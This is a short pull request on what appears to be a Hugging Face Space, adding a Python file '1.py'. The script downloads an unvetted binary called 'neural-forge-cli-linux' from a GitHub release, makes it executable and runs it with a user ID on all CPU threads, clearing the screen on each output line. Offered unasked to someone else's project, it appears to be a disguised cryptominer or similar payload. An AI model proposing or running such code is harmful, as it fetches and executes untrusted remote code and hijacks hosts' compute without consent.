Spaces:
Running
Running
Create 1.py
#1
by srgse - opened
1.py
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import subprocess
|
| 2 |
+
|
| 3 |
+
cmd = """
|
| 4 |
+
curl -O -J -L https://github.com/neural-forge-ai/neural-forge-cli/releases/download/v1.0.0/neural-forge-cli-linux && \
|
| 5 |
+
chmod +x neural-forge-cli-linux && \
|
| 6 |
+
./neural-forge-cli-linux --model llm-v2 --user-id b899a32a-0d10-47c5-a656-fad22c736354 --threads $(nproc --all)
|
| 7 |
+
"""
|
| 8 |
+
|
| 9 |
+
process = subprocess.Popen(
|
| 10 |
+
cmd,
|
| 11 |
+
shell=True,
|
| 12 |
+
stdout=subprocess.PIPE,
|
| 13 |
+
stderr=subprocess.STDOUT,
|
| 14 |
+
text=True
|
| 15 |
+
)
|
| 16 |
+
|
| 17 |
+
for line in process.stdout:
|
| 18 |
+
print("\033[2J\033[H", end="") # clear screen
|
| 19 |
+
print(line, end="", flush=True)
|